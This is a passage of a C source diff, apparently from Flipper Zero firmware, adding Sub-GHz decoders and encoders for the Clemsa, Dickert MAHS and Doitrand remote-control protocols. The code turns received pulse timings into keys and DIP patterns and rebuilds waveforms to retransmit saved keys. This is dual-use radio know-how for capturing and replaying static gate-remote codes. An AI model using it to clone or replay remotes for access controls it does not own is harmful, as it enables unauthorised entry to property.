FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
for(uint8_t i = instance->generic.data_count_bit; i > 1; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_clemsa_const.te_long);
}
}
if(bit_read(instance->generic.data, 0)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_long);
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_clemsa_const.te_short +
subghz_protocol_clemsa_const.te_long * 7);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_clemsa_const.te_short);
instance->encoder.upload[index++] = level_duration_make(
false,
(uint32_t)subghz_protocol_clemsa_const.te_long +
subghz_protocol_clemsa_const.te_long * 7);
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderClemsa* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_clemsa_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_clemsa_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_clemsa_stop(void* context) {
SubGhzProtocolEncoderClemsa* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_clemsa_yield(void* context) {
SubGhzProtocolEncoderClemsa* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderClemsa* instance = malloc(sizeof(SubGhzProtocolDecoderClemsa));
instance->base.protocol = &subghz_protocol_clemsa;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_clemsa_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
free(instance);
}
void subghz_protocol_decoder_clemsa_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
instance->decoder.parser_step = ClemsaDecoderStepReset;
}
void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
switch(instance->decoder.parser_step) {
case ClemsaDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
subghz_protocol_clemsa_const.te_delta * 25)) {
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
}
break;
case ClemsaDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = ClemsaDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = ClemsaDecoderStepReset;
}
break;
case ClemsaDecoderStepCheckDuration:
if(!level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
subghz_protocol_clemsa_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_long) <
subghz_protocol_clemsa_const.te_delta * 3)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
subghz_protocol_clemsa_const.te_delta * 3) &&
(DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short) <
subghz_protocol_clemsa_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
} else if(
DURATION_DIFF(duration, subghz_protocol_clemsa_const.te_short * 51) <
subghz_protocol_clemsa_const.te_delta * 25) {
if(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_short) <
subghz_protocol_clemsa_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
} else if(
DURATION_DIFF(instance->decoder.te_last, subghz_protocol_clemsa_const.te_long) <
subghz_protocol_clemsa_const.te_delta * 3) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
} else {
instance->decoder.parser_step = ClemsaDecoderStepReset;
}
if(instance->decoder.decode_count_bit ==
subghz_protocol_clemsa_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.parser_step = ClemsaDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = ClemsaDecoderStepReset;
}
} else {
instance->decoder.parser_step = ClemsaDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_clemsa_check_remote_controller(SubGhzBlockGeneric* instance) {
instance->serial = (instance->data >> 2) & 0xFFFF;
instance->btn = (instance->data & 0x03);
}
uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_clemsa_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderClemsa* instance = context;
subghz_protocol_clemsa_check_remote_controller(&instance->generic);
//uint32_t data = (uint32_t)(instance->generic.data & 0xFFFFFF);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 2;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%05lX Btn:%X\r\n"
" +: " DIP_PATTERN "\r\n"
" o: " DIP_PATTERN "\r\n"
" -: " DIP_PATTERN "\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0x3FFFF),
instance->generic.btn,
SHOW_DIP_P(instance->generic.serial, DIP_P),
SHOW_DIP_P(instance->generic.serial, DIP_O),
SHOW_DIP_P(instance->generic.serial, DIP_N));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_CLEMSA_NAME "Clemsa"
typedef struct SubGhzProtocolDecoderClemsa SubGhzProtocolDecoderClemsa;
typedef struct SubGhzProtocolEncoderClemsa SubGhzProtocolEncoderClemsa;
extern const SubGhzProtocolDecoder subghz_protocol_clemsa_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_clemsa_encoder;
extern const SubGhzProtocol subghz_protocol_clemsa;
/**
* Allocate SubGhzProtocolEncoderClemsa.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderClemsa* pointer to a SubGhzProtocolEncoderClemsa instance
*/
void* subghz_protocol_encoder_clemsa_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderClemsa.
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
*/
void subghz_protocol_encoder_clemsa_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
*/
void subghz_protocol_encoder_clemsa_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderClemsa instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_clemsa_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderClemsa.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderClemsa* pointer to a SubGhzProtocolDecoderClemsa instance
*/
void* subghz_protocol_decoder_clemsa_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderClemsa.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
*/
void subghz_protocol_decoder_clemsa_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderClemsa.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
*/
void subghz_protocol_decoder_clemsa_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_clemsa_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_clemsa_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderClemsa.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_clemsa_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderClemsa.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_clemsa_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderClemsa instance
* @param output Resulting text
*/
void subghz_protocol_decoder_clemsa_get_string(void* context, FuriString* output);
@@ -0,0 +1,386 @@
#include "dickert_mahs.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_rtc.h>
#define TAG "SubGhzProtocolDicketMAHS"
static const SubGhzBlockConst subghz_protocol_dickert_mahs_const = {
.te_short = 400,
.te_long = 800,
.te_delta = 100,
.min_count_bit_for_found = 36,
};
struct SubGhzProtocolDecoderDickertMAHS {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
uint32_t tmp[2];
uint8_t tmp_cnt;
};
struct SubGhzProtocolEncoderDickertMAHS {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
DickertMAHSDecoderStepReset = 0,
DickertMAHSDecoderStepInitial,
DickertMAHSDecoderStepRecording,
} DickertMAHSDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder = {
.alloc = subghz_protocol_decoder_dickert_mahs_alloc,
.free = subghz_protocol_decoder_dickert_mahs_free,
.feed = subghz_protocol_decoder_dickert_mahs_feed,
.reset = subghz_protocol_decoder_dickert_mahs_reset,
.get_hash_data = subghz_protocol_decoder_dickert_mahs_get_hash_data,
.serialize = subghz_protocol_decoder_dickert_mahs_serialize,
.deserialize = subghz_protocol_decoder_dickert_mahs_deserialize,
.get_string = subghz_protocol_decoder_dickert_mahs_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder = {
.alloc = subghz_protocol_encoder_dickert_mahs_alloc,
.free = subghz_protocol_encoder_dickert_mahs_free,
.deserialize = subghz_protocol_encoder_dickert_mahs_deserialize,
.stop = subghz_protocol_encoder_dickert_mahs_stop,
.yield = subghz_protocol_encoder_dickert_mahs_yield,
};
const SubGhzProtocol subghz_protocol_dickert_mahs = {
.name = SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_dickert_mahs_decoder,
.encoder = &subghz_protocol_dickert_mahs_encoder,
};
static void subghz_protocol_encoder_dickert_mahs_parse_buffer(
SubGhzProtocolDecoderDickertMAHS* instance,
FuriString* output) {
// We assume we have only decodes < 64 bit!
uint64_t data = instance->generic.data;
uint8_t bits[36] = {};
// Convert uint64_t into bit array
for(int i = 35; i >= 0; i--) {
if(data & 1) {
bits[i] = 1;
}
data >>= 1;
}
// Decode symbols
FuriString* code = furi_string_alloc();
for(size_t i = 0; i < 35; i += 2) {
uint8_t dip = (bits[i] << 1) + bits[i + 1];
// PLUS = 3, // 0b11
// ZERO = 1, // 0b01
// MINUS = 0, // 0x00
if(dip == 0x01) {
furi_string_cat(code, "0");
} else if(dip == 0x00) {
furi_string_cat(code, "-");
} else if(dip == 0x03) {
furi_string_cat(code, "+");
} else {
furi_string_cat(code, "?");
}
}
FuriString* user_dips = furi_string_alloc();
FuriString* fact_dips = furi_string_alloc();
furi_string_set_n(user_dips, code, 0, 10);
furi_string_set_n(fact_dips, code, 10, 8);
furi_string_cat_printf(
output,
"%s\r\n"
"User-Dips:\t%s\r\n"
"Fac-Code:\t%s\r\n",
instance->generic.protocol_name,
furi_string_get_cstr(user_dips),
furi_string_get_cstr(fact_dips));
furi_string_free(user_dips);
furi_string_free(fact_dips);
furi_string_free(code);
}
void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolEncoderDickertMAHS));
instance->base.protocol = &subghz_protocol_dickert_mahs;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_dickert_mahs_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderDickertMAHS* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderDickertMAHS instance
* @return true On success
*/
static bool
subghz_protocol_encoder_dickert_mahs_get_upload(SubGhzProtocolEncoderDickertMAHS* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short * 112);
// Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderDickertMAHS* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Allow for longer keys (<) instead of !=
if((instance->generic.data_count_bit <
subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_dickert_mahs_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_dickert_mahs_stop(void* context) {
SubGhzProtocolEncoderDickertMAHS* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context) {
SubGhzProtocolEncoderDickertMAHS* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolDecoderDickertMAHS));
instance->base.protocol = &subghz_protocol_dickert_mahs;
instance->generic.protocol_name = instance->base.protocol->name;
instance->tmp_cnt = 0;
return instance;
}
void subghz_protocol_decoder_dickert_mahs_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
free(instance);
}
void subghz_protocol_decoder_dickert_mahs_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
}
void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
switch(instance->decoder.parser_step) {
case DickertMAHSDecoderStepReset:
// Check if done
if(instance->decoder.decode_count_bit >=
subghz_protocol_dickert_mahs_const.min_count_bit_for_found) {
instance->generic.serial = 0x0;
instance->generic.btn = 0x0;
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
}
if((!level) && (DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_long * 50) <
subghz_protocol_dickert_mahs_const.te_delta * 70)) {
//Found header DICKERT_MAHS 44k us
instance->decoder.parser_step = DickertMAHSDecoderStepInitial;
}
break;
case DickertMAHSDecoderStepInitial:
if(!level) {
break;
} else if(
DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_short) <
subghz_protocol_dickert_mahs_const.te_delta) {
//Found start bit DICKERT_MAHS
instance->decoder.parser_step = DickertMAHSDecoderStepRecording;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
}
break;
case DickertMAHSDecoderStepRecording:
if((!level && instance->tmp_cnt == 0) || (level && instance->tmp_cnt == 1)) {
instance->tmp[instance->tmp_cnt] = duration;
instance->tmp_cnt++;
if(instance->tmp_cnt == 2) {
if(DURATION_DIFF(instance->tmp[0] + instance->tmp[1], 1200) <
subghz_protocol_dickert_mahs_const.te_delta) {
if(DURATION_DIFF(instance->tmp[0], subghz_protocol_dickert_mahs_const.te_long) <
subghz_protocol_dickert_mahs_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
} else if(
DURATION_DIFF(
instance->tmp[0], subghz_protocol_dickert_mahs_const.te_short) <
subghz_protocol_dickert_mahs_const.te_delta) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
instance->tmp_cnt = 0;
} else {
instance->tmp_cnt = 0;
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
}
}
} else {
instance->tmp_cnt = 0;
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderDickertMAHS* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Allow for longer keys (<) instead of !=
if((instance->generic.data_count_bit <
subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
FURI_LOG_E(TAG, "Wrong number of bits in key");
ret = SubGhzProtocolStatusErrorValueBitCount;
break;
}
} while(false);
return ret;
}
void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output) {
furi_assert(context);
subghz_protocol_encoder_dickert_mahs_parse_buffer(context, output);
}
@@ -0,0 +1,120 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME "Dickert_MAHS"
typedef struct SubGhzProtocolDecoderDickertMAHS SubGhzProtocolDecoderDickertMAHS;
typedef struct SubGhzProtocolEncoderDickertMAHS SubGhzProtocolEncoderDickertMAHS;
extern const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder;
extern const SubGhzProtocol subghz_protocol_dickert_mahs;
/** Allocate SubGhzProtocolEncoderDickertMAHS.
*
* @param environment Pointer to a SubGhzEnvironment instance
*
* @return pointer to a SubGhzProtocolEncoderDickertMAHS instance
*/
void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
/** Free SubGhzProtocolEncoderDickertMAHS.
*
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
*/
void subghz_protocol_encoder_dickert_mahs_free(void* context);
/** Deserialize and generating an upload to send.
*
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS
* instance
* @param flipper_format Pointer to a FlipperFormat instance
*
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
/** Forced transmission stop.
*
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
*/
void subghz_protocol_encoder_dickert_mahs_stop(void* context);
/** Getting the level and duration of the upload to be loaded into DMA.
*
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
*
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context);
/** Allocate SubGhzProtocolDecoderDickertMAHS.
*
* @param environment Pointer to a SubGhzEnvironment instance
*
* @return pointer to a SubGhzProtocolDecoderDickertMAHS instance
*/
void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
/** Free SubGhzProtocolDecoderDickertMAHS.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
*/
void subghz_protocol_decoder_dickert_mahs_free(void* context);
/** Reset decoder SubGhzProtocolDecoderDickertMAHS.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
*/
void subghz_protocol_decoder_dickert_mahs_reset(void* context);
/** Parse a raw sequence of levels and durations received from the air.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration);
/** Getting the hash sum of the last randomly received parcel.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
*
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context);
/** Serialize data SubGhzProtocolDecoderDickertMAHS.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS
* instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received,
* SubGhzRadioPreset
*
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/** Deserialize data SubGhzProtocolDecoderDickertMAHS.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS
* instance
* @param flipper_format Pointer to a FlipperFormat instance
*
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
/** Getting a textual representation of the received data.
*
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
* @param output Resulting text
*/
void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output);
@@ -0,0 +1,355 @@
#include "doitrand.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#define TAG "SubGhzProtocolDoitrand"
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
#define CNT_TO_DIP(dip) \
(dip & 0x0001 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), \
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x1000 ? '1' : '0'), \
(dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
(dip & 0x0002 ? '1' : '0')
static const SubGhzBlockConst subghz_protocol_doitrand_const = {
.te_short = 400,
.te_long = 1100,
.te_delta = 150,
.min_count_bit_for_found = 37,
};
struct SubGhzProtocolDecoderDoitrand {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderDoitrand {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
DoitrandDecoderStepReset = 0,
DoitrandDecoderStepFoundStartBit,
DoitrandDecoderStepSaveDuration,
DoitrandDecoderStepCheckDuration,
} DoitrandDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder = {
.alloc = subghz_protocol_decoder_doitrand_alloc,
.free = subghz_protocol_decoder_doitrand_free,
.feed = subghz_protocol_decoder_doitrand_feed,
.reset = subghz_protocol_decoder_doitrand_reset,
.get_hash_data = subghz_protocol_decoder_doitrand_get_hash_data,
.serialize = subghz_protocol_decoder_doitrand_serialize,
.deserialize = subghz_protocol_decoder_doitrand_deserialize,
.get_string = subghz_protocol_decoder_doitrand_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder = {
.alloc = subghz_protocol_encoder_doitrand_alloc,
.free = subghz_protocol_encoder_doitrand_free,
.deserialize = subghz_protocol_encoder_doitrand_deserialize,
.stop = subghz_protocol_encoder_doitrand_stop,
.yield = subghz_protocol_encoder_doitrand_yield,
};
const SubGhzProtocol subghz_protocol_doitrand = {
.name = SUBGHZ_PROTOCOL_DOITRAND_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_doitrand_decoder,
.encoder = &subghz_protocol_doitrand_encoder,
};
void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderDoitrand* instance = malloc(sizeof(SubGhzProtocolEncoderDoitrand));
instance->base.protocol = &subghz_protocol_doitrand;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
